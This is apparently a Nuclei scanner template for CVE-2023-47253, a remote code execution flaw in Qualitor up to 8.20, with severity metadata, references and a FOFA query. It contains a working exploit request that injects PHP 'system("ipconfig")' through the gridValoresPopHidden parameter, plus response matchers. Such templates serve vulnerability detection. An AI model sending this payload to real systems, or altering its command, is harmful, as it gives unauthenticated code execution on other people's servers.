id: CVE-2023-47253

info:
  name: Qualitor <= 8.20 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.
  reference:
    - https://github.com/vnxdtzip/CVE-2023-47253
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47253
    - https://openxp.xpsecsecurity.io/blog/cve-2023-47253
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-47253
    cwe-id: CWE-77
    epss-score: 0.00615
    epss-percentile: 0.78986
    cpe: cpe:2.3:a:qualitor:qalitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qualitor
    product: qualitor
    fofa-query: "Qualitor"
  tags: cve,cve2023,rce,qualitor

http:
  - raw:
      - |
        GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system("ipconfig"); HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Windows","DNS")'
          - 'contains(content_type,"text/javascript")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502205dfc0cc15f6f3dc658326d52c0ae0f479f5b0938c88abf823f155f321e87edfa022100882a918dbff234bf556bf9af99af6b7775351662abe1743f22180f0b1e8dbb2b:922c64590222798bb761d5b6d8e72950